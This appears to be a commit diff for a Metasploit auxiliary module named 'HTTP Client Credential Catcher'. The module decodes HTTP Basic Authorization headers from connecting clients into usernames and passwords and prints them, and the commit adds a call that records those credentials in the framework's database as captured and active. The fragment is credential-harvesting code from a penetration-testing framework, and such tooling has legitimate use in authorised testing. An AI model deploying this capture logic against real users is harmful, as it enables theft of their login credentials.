Updating HTTP Basic capture mod with edits based on MSF team suggestions
parent
de380cfb46
commit
10698e2f99
|
@ -6,7 +6,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
include Msf::Exploit::Remote::TcpServer
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP Client Credential Catcher',
|
||||
|
@ -97,6 +96,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
basic,auth = req['Authorization'].split(/\s+/)
|
||||
user,pass = Rex::Text.decode_base64(auth).split(':', 2)
|
||||
|
||||
report_auth_info(
|
||||
:host => cli.peerhost,
|
||||
:port => datastore['SRVPORT'],
|
||||
:sname => 'HTTP',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:source_type => "captured",
|
||||
:active => true
|
||||
)
|
||||
|
||||
print_status("HTTP LOGIN #{cli.peerhost} > :#{@myport} #{user} / #{pass} => #{req.resource}")
|
||||
else
|
||||
data = %Q^
|
||||
|
|
Loading…
Reference in New Issue